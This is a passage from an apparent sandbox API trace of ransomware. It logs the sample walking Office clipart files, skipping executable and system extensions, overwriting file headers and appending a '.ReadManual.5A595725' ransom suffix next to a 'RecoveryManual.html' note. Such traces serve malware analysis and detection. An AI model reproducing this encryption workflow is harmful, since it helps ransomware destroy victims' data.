nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.337] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2926) returned 0x2f0000 [0274.338] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.338] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39500644927) returned 1 [0274.338] CloseHandle (hObject=0x184) returned 1 [0274.338] SetSecurityInfo () returned 0x57 [0274.338] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.338] CloseHandle (hObject=0x194) returned 1 [0274.338] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd90f00, ftCreationTime.dwHighDateTime=0x1bd4b14, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd90f00, ftLastWriteTime.dwHighDateTime=0x1bd4b14, nFileSizeHigh=0x0, nFileSizeLow=0x2ea0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00208_.WMF", cAlternateFileName="")) returned 1 [0274.339] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00208_.WMF" | out: lpString1="SO00208_.WMF") returned="SO00208_.WMF" [0274.339] lstrcmpiW (lpString1="SO00208_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.339] StrStrIW (lpFirst="SO00208_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.339] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.339] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.339] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.339] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.339] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.339] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.339] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.339] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.339] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.339] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.340] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.340] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.340] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.340] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.340] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00208_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00208_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00208_.WMF" [0274.340] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00208_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00208_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00208_.WMF.ReadManual.5A595725" [0274.340] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00208_.WMF.ReadManual.5A595725") returned 87 [0274.340] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39500848400) returned 1 [0274.340] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00208_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00208_.wmf")) returned 0x20 [0274.340] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00208_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00208_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.340] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=11936) returned 1 [0274.340] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2ea0, lpName=0x0) returned 0x184 [0274.340] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.341] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.341] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.343] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.343] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2ea0) returned 0x2f0000 [0274.343] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.343] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39501185461) returned 1 [0274.343] CloseHandle (hObject=0x184) returned 1 [0274.343] SetSecurityInfo () returned 0x57 [0274.343] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.343] CloseHandle (hObject=0x194) returned 1 [0274.343] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b20100, ftCreationTime.dwHighDateTime=0x1bd4b14, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b20100, ftLastWriteTime.dwHighDateTime=0x1bd4b14, nFileSizeHigh=0x0, nFileSizeLow=0x4f72, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00212_.WMF", cAlternateFileName="")) returned 1 [0274.343] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00212_.WMF" | out: lpString1="SO00212_.WMF") returned="SO00212_.WMF" [0274.343] lstrcmpiW (lpString1="SO00212_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.343] StrStrIW (lpFirst="SO00212_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.344] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.344] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.344] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.344] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.344] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.344] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.344] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.344] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.344] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.344] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.344] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.344] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.344] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.344] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.344] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00212_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00212_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00212_.WMF" [0274.344] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00212_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00212_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00212_.WMF.ReadManual.5A595725" [0274.344] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00212_.WMF.ReadManual.5A595725") returned 87 [0274.344] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39501276835) returned 1 [0274.344] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00212_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00212_.wmf")) returned 0x20 [0274.344] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00212_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00212_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.345] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=20338) returned 1 [0274.345] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4f72, lpName=0x0) returned 0x184 [0274.345] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.345] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.345] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.347] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.349] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4f72) returned 0x2f0000 [0274.349] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.349] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39501779858) returned 1 [0274.349] CloseHandle (hObject=0x184) returned 1 [0274.349] SetSecurityInfo () returned 0x57 [0274.349] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.349] CloseHandle (hObject=0x194) returned 1 [0274.349] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f74, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00221_.WMF", cAlternateFileName="")) returned 1 [0274.349] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00221_.WMF" | out: lpString1="SO00221_.WMF") returned="SO00221_.WMF" [0274.349] lstrcmpiW (lpString1="SO00221_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.349] StrStrIW (lpFirst="SO00221_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.349] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.349] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.350] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.350] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.350] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.350] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.350] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.350] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.350] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.350] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.350] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.350] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.350] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.350] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.350] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00221_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00221_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00221_.WMF" [0274.350] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00221_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00221_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00221_.WMF.ReadManual.5A595725" [0274.350] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00221_.WMF.ReadManual.5A595725") returned 87 [0274.350] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39501869707) returned 1 [0274.350] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00221_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00221_.wmf")) returned 0x20 [0274.350] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00221_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00221_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.351] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=8052) returned 1 [0274.351] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1f74, lpName=0x0) returned 0x184 [0274.351] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.351] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.351] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.353] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.353] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1f74) returned 0x2f0000 [0274.354] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.354] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39502237230) returned 1 [0274.354] CloseHandle (hObject=0x184) returned 1 [0274.354] SetSecurityInfo () returned 0x57 [0274.354] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.354] CloseHandle (hObject=0x194) returned 1 [0274.354] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e5c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00222_.WMF", cAlternateFileName="")) returned 1 [0274.354] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00222_.WMF" | out: lpString1="SO00222_.WMF") returned="SO00222_.WMF" [0274.354] lstrcmpiW (lpString1="SO00222_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.354] StrStrIW (lpFirst="SO00222_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.354] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.354] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.354] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.354] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.354] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.354] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.354] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.354] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.354] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.354] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.354] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.354] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.354] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.354] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.354] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00222_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00222_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00222_.WMF" [0274.354] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00222_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00222_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00222_.WMF.ReadManual.5A595725" [0274.354] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00222_.WMF.ReadManual.5A595725") returned 87 [0274.354] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39502327895) returned 1 [0274.355] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00222_.wmf")) returned 0x20 [0274.355] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00222_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.355] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7772) returned 1 [0274.355] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1e5c, lpName=0x0) returned 0x184 [0274.355] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.356] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.356] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.358] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.358] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1e5c) returned 0x2f0000 [0274.358] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.358] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39502675752) returned 1 [0274.358] CloseHandle (hObject=0x184) returned 1 [0274.358] SetSecurityInfo () returned 0x57 [0274.358] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.358] CloseHandle (hObject=0x194) returned 1 [0274.358] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3642, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00223_.WMF", cAlternateFileName="")) returned 1 [0274.358] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00223_.WMF" | out: lpString1="SO00223_.WMF") returned="SO00223_.WMF" [0274.358] lstrcmpiW (lpString1="SO00223_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.358] StrStrIW (lpFirst="SO00223_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.358] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.358] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.358] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.359] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.359] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.359] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.359] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.359] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.359] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.359] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.359] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.359] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.359] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.359] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.359] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00223_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00223_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00223_.WMF" [0274.359] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00223_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00223_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00223_.WMF.ReadManual.5A595725" [0274.359] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00223_.WMF.ReadManual.5A595725") returned 87 [0274.359] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39502766702) returned 1 [0274.359] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00223_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00223_.wmf")) returned 0x20 [0274.360] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00223_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00223_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.360] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=13890) returned 1 [0274.360] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3642, lpName=0x0) returned 0x184 [0274.360] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.361] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.361] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.363] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.363] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3642) returned 0x2f0000 [0274.363] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.363] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39503179076) returned 1 [0274.363] CloseHandle (hObject=0x184) returned 1 [0274.363] SetSecurityInfo () returned 0x57 [0274.363] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.363] CloseHandle (hObject=0x194) returned 1 [0274.363] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf553ff00, ftCreationTime.dwHighDateTime=0x1bd4ae9, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf553ff00, ftLastWriteTime.dwHighDateTime=0x1bd4ae9, nFileSizeHigh=0x0, nFileSizeLow=0x476e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00257_.WMF", cAlternateFileName="")) returned 1 [0274.363] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00257_.WMF" | out: lpString1="SO00257_.WMF") returned="SO00257_.WMF" [0274.363] lstrcmpiW (lpString1="SO00257_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.363] StrStrIW 